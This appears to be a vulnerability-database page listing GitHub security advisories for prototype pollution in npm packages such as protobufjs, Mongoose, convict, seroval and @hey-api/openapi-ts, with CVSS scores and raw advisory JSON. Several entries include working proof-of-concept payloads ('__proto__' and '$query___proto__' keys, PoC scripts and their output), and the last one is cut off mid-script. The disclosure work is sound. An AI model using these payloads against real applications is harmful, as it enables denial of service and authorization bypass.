Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

826 vulnerabilities reference this CWE, most recent first.

GHSA-H755-8QP9-CQ85

Vulnerability from github – Published: 2023-07-05 15:30 – Updated: 2024-06-28 18:31
VLAI
Summary
protobufjs Prototype Pollution vulnerability
Details

protobuf.js (aka protobufjs) 6.10.0 until 6.11.4 and 7.0.0 until 7.2.4 allows Prototype Pollution, a different vulnerability than CVE-2022-25878. A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty. NOTE: this CVE Record is about Object.constructor.prototype.<new-property> = ...; whereas CVE-2022-25878 was about Object.__proto__.<new-property> = ...; instead.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.10.0"
            },
            {
              "fixed": "6.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-07T20:19:02Z",
    "nvd_published_at": "2023-07-05T14:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "protobuf.js (aka protobufjs) 6.10.0 until 6.11.4 and 7.0.0 until 7.2.4 allows Prototype Pollution, a different vulnerability than CVE-2022-25878. A user-controlled protobuf message can be used by an attacker to pollute the prototype of Object.prototype by adding and overwriting its data and functions. Exploitation can involve: (1) using the function parse to parse protobuf messages on the fly, (2) loading .proto files by using load/loadSync functions, or (3) providing untrusted input to the functions ReflectionObject.setParsedOption and util.setProperty. NOTE: this CVE Record is about `Object.constructor.prototype.\u003cnew-property\u003e = ...;` whereas CVE-2022-25878 was about `Object.__proto__.\u003cnew-property\u003e = ...;` instead.",
  "id": "GHSA-h755-8qp9-cq85",
  "modified": "2024-06-28T18:31:41Z",
  "published": "2023-07-05T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36665"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/issues/1918#issuecomment-1723500294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/pull/1899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/commit/e66379f451b0393c27d87b37fa7d271619e16b0d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/commits/release-6.11.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/compare/protobufjs-v7.2.3...protobufjs-v7.2.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.2.4"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240628-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobufjs Prototype Pollution vulnerability"
}

GHSA-H8HF-X3F4-XWGP

Vulnerability from github – Published: 2022-08-27 00:00 – Updated: 2024-04-22 23:17
VLAI
Summary
Mongoose Vulnerable to Prototype Pollution in Schema Object
Details

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.13.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:17:47Z",
    "nvd_published_at": "2022-08-26T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Description\nMongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.\n\n### Proof of Concept\n```js\n// poc.js\nconst mongoose = require(\u0027mongoose\u0027);\nconst schema = new mongoose.Schema();\n\nmalicious_payload = \u0027__proto__.toString\u0027\n\nschema.path(malicious_payload, [String])\n\nx = {}\nconsole.log(x.toString()) // crashed (Denial of service (DoS) attack)\n```\n\n### Impact\nThis vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.",
  "id": "GHSA-h8hf-x3f4-xwgp",
  "modified": "2024-04-22T23:17:47Z",
  "published": "2022-08-27T00:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/issues/12085"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mongoose Vulnerable to Prototype Pollution in Schema Object"
}

GHSA-HCG3-56JF-X4VH

Vulnerability from github – Published: 2023-04-11 06:30 – Updated: 2023-04-14 21:35
VLAI
Summary
safe-eval vulnerable to Prototype Pollution via the safeEval function
Details

All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper sanitization of its parameter content.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "safe-eval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-11T15:40:21Z",
    "nvd_published_at": "2023-04-11T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper sanitization of its parameter content.",
  "id": "GHSA-hcg3-56jf-x4vh",
  "modified": "2023-04-14T21:35:38Z",
  "published": "2023-04-11T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hacksparrow/safe-eval/issues/28"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/seongil-wi/9d9fc0cc5b7b130419cd45827e59c4f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hacksparrow/safe-eval"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-SAFEEVAL-3373062"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "safe-eval vulnerable to Prototype Pollution via the safeEval function"
}

GHSA-HCJ4-XF6X-63WJ

Vulnerability from github – Published: 2022-10-14 12:00 – Updated: 2023-10-19 18:30
VLAI
Summary
Grunt-karma vulnerable to prototype pollution
Details

Prototype pollution vulnerability in karma-runner grunt-karma 4.0.1 via the key variable in grunt-karma.js.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "grunt-karma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-37602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-19T18:30:53Z",
    "nvd_published_at": "2022-10-14T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in karma-runner grunt-karma 4.0.1 via the `key` variable in `grunt-karma.js`.",
  "id": "GHSA-hcj4-xf6x-63wj",
  "modified": "2023-10-19T18:30:53Z",
  "published": "2022-10-14T12:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karma-runner/grunt-karma/issues/311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/karma-runner/grunt-karma"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karma-runner/grunt-karma/blob/45b925964f55870f375c6e670d9945b223c984f5/tasks/grunt-karma.js#L109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karma-runner/grunt-karma/blob/45b925964f55870f375c6e670d9945b223c984f5/tasks/grunt-karma.js#L26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grunt-karma vulnerable to prototype pollution"
}

GHSA-HF2R-9GF9-RWCH

Vulnerability from github – Published: 2026-03-26 18:50 – Updated: 2026-03-26 18:50
VLAI
Summary
Convict has prototype pollution via load(), loadFile(), and schema initialization
Details

Impact

Two unguarded prototype pollution paths exist, not covered by previous fixes:

  1. config.load() / config.loadFile() — overlay() recursively merges config data without checking for forbidden keys. Input containing__proto__ or constructor.prototype (e.g. from a JSON file) causes the recursion to reach Object.prototype and write attacker-controlled values onto it.
  2. Schema initialization — passing a schema with constructor.prototype.* keys to convict({...}) causes default-value propagation to write directly to Object.prototype at startup.

Depending on how polluted properties are consumed, impact ranges from unexpected behavior to authentication bypass or RCE.

Workarounds

Do not pass untrusted data to load(), loadFile(), or convict().

Resources

Prior advisory: GHSA-44fc-8fm5-q62h Related issue: https://github.com/mozilla/node-convict/issues/423

Severity
9.4 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "convict"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:50:33Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nTwo unguarded prototype pollution paths exist, not covered by previous fixes:\n\n1. `config.load()` / `config.loadFile()` \u2014 `overlay()` recursively merges config data without checking for forbidden keys. Input containing` __proto__` or `constructor.prototype` (e.g. from a JSON file) causes the recursion to reach `Object.prototype` and write attacker-controlled values onto it.\n2. Schema initialization \u2014 passing a schema with `constructor.prototype.*` keys to `convict({...})` causes default-value propagation to write directly to `Object.prototype` at startup.\n\nDepending on how polluted properties are consumed, impact ranges from unexpected behavior to authentication bypass or RCE.\n\n### Workarounds\nDo not pass untrusted data to load(), loadFile(), or convict().\n\n### Resources\nPrior advisory: [GHSA-44fc-8fm5-q62h](https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h)\nRelated issue: [https://github.com/mozilla/node-convict/issues/423](https://github.com/mozilla/node-convict/issues/423)",
  "id": "GHSA-hf2r-9gf9-rwch",
  "modified": "2026-03-26T18:50:34Z",
  "published": "2026-03-26T18:50:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-hf2r-9gf9-rwch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/issues/423"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/node-convict"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Convict has prototype pollution via load(), loadFile(), and schema initialization"
}

GHSA-HHF6-3XPG-PGGX

Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-25 16:46
VLAI
Summary
web3-core-subscriptions has a Prototype Pollution vulnerability
Details

The web3-core-subscriptions is a package designed to manages web3 subscriptions. A Prototype Pollution vulnerability in the attachToObject function of web3-core-subscriptions version 1.10.4 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.

Severity
2.9 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "web3-core-subscriptions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-25T16:46:20Z",
    "nvd_published_at": "2025-09-24T19:15:39Z",
    "severity": "LOW"
  },
  "details": "The web3-core-subscriptions is a package designed to manages web3 subscriptions. A Prototype Pollution vulnerability in the attachToObject function of web3-core-subscriptions version 1.10.4 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.",
  "id": "GHSA-hhf6-3xpg-pggx",
  "modified": "2025-09-25T16:46:20Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web3/web3.js/commit/d9660426c12210c5071aeb4e1a647c6ea9d67b12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/blob/main/JavaScript/prototype-pollution/web3-core-subscriptions%401.10.4/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57330"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/web3/web3.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "web3-core-subscriptions has a Prototype Pollution vulnerability"
}

GHSA-HHX9-57XQ-R5RW

Vulnerability from github – Published: 2026-07-01 20:55 – Updated: 2026-07-01 20:55
VLAI
Summary
@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Details

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" — own property, normal
console.log(q.isAdmin);                     // true — inherited via prototype chain
console.log(Object.keys(q));               // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@hey-api/openapi-ts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.97.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:55:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `\"$query___proto__\"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`.\n\n### Details\n\nThe vulnerable branch in `dist/clients/core/params.ts`:\n\n```typescript\nconst extra = extraPrefixes.find(([prefix]) =\u003e key.startsWith(prefix))\nif (extra) {\n  const [prefix, slot] = extra\n  ;(params[slot] as Record\u003cstring, unknown\u003e)[key.slice(prefix.length)] = value\n}\n```\n\nThis branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `\"$query___proto__\"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith(\"$query_\")` is true, and `key.slice(7)` produces `\"__proto__\"`. The bracket-write `params[\"query\"][\"__proto__\"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`.\n\n**Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method \u2014 a common pattern in proxy servers, BFF layers, and API gateways \u2014 an attacker can include `\"$query___proto__\"` alongside a legitimate field (e.g. `\"q\"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller.\n\nConcrete field config that hey-api generates for a GET endpoint with one query param `q`:\n\n```typescript\n// generated by hey-api for: GET /search?q=\u003cstring\u003e\nbuildClientParams([parameters], [{ args: [{ in: \"query\", key: \"q\" }] }])\n```\n\nA request `{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }` reaches this call with `\"q\"` going to the field map branch and `\"$query___proto__\"` falling through to `extraPrefixes`.\n\n### PoC\n\n```bash\nnpm install @hey-api/openapi-ts@0.97.2\ncp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts\nnpx tsx poc.ts\n# or: docker build -t heyapi-poc . \u0026\u0026 docker run --rm heyapi-poc\n```\n\n`poc.ts`:\n\n```typescript\nimport { buildClientParams } from \"./params.ts\";\n\n// Generated fields config for GET /search?q=\u003cstring\u003e\nconst generatedFields = [{ args: [{ in: \"query\" as const, key: \"q\" }] }];\n\n// Attacker request: legitimate \"q\" plus injected \"$query___proto__\"\nconst result = buildClientParams(\n  [{ q: \"hello\", \"$query___proto__\": { isAdmin: true } }],\n  generatedFields\n);\n\nconst q = result.query as any;\nconsole.log(q.q);                           // \"hello\" \u2014 own property, normal\nconsole.log(q.isAdmin);                     // true \u2014 inherited via prototype chain\nconsole.log(Object.keys(q));               // [\"q\"] \u2014 own keys only\nfor (const k in result.query) console.log(k); // \"q\", \"isAdmin\"\n```\n\nExpected output:\n\n```\n[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key\n  Scenario: GET /search with fields [{ in:\u0027query\u0027, key:\u0027q\u0027 }]\n  Attacker request: { q: \u0027hello\u0027, \u0027$query___proto__\u0027: { isAdmin: true } }\n\n  result.query.q         = hello\n  result.query.isAdmin   = true  \u2190 inherited, NOT own\n  Object.keys(q)         = [ \u0027q\u0027 ]\n  for..in keys           = q, isAdmin\n  Object.getPrototypeOf  = {\"isAdmin\":true}\n```\n\nNo sentinel key is needed. The legitimate field `\"q\"` keeps `params.query` alive through `stripEmptySlots`.\n[reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip)\n\n\n\n### Impact\n\nThe returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.\n\nGlobal `Object.prototype` is not modified \u2014 impact is limited to the returned slot object and its consumers.\n\nEvery npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.",
  "id": "GHSA-hhx9-57xq-r5rw",
  "modified": "2026-07-01T20:55:17Z",
  "published": "2026-07-01T20:55:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hey-api/openapi-ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@hey-api/openapi-ts\u0027s `buildClientParams` template: prototype chain substitution via unknown `$\u003cslot\u003e___proto__` key"
}

GHSA-HJ76-42VX-JWP4

Vulnerability from github – Published: 2026-01-21 15:41 – Updated: 2026-01-22 15:39
VLAI
Summary
seroval Affected by Prototype Pollution via JSON Deserialization
Details

Due to improper input validation, a malicious object key can lead to prototype pollution during JSON deserialization. This affects only JSON deserialization functionality.

As there is no known workaround, please upgrade to the latest version.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "seroval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T15:41:14Z",
    "nvd_published_at": "2026-01-21T23:15:52Z",
    "severity": "HIGH"
  },
  "details": "Due to improper input validation, a malicious object key can lead to prototype pollution during JSON deserialization.\nThis affects only JSON deserialization functionality.\n\nAs there is no known workaround, please upgrade to the latest version.",
  "id": "GHSA-hj76-42vx-jwp4",
  "modified": "2026-01-22T15:39:43Z",
  "published": "2026-01-21T15:41:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-hj76-42vx-jwp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxsmnsyc/seroval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "seroval Affected by Prototype Pollution via JSON Deserialization"
}

GHSA-HJWQ-MJWJ-4X6C

Vulnerability from github – Published: 2024-12-02 17:26 – Updated: 2024-12-02 17:26
VLAI
Summary
@intlify/shared Prototype Pollution vulnerability
Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
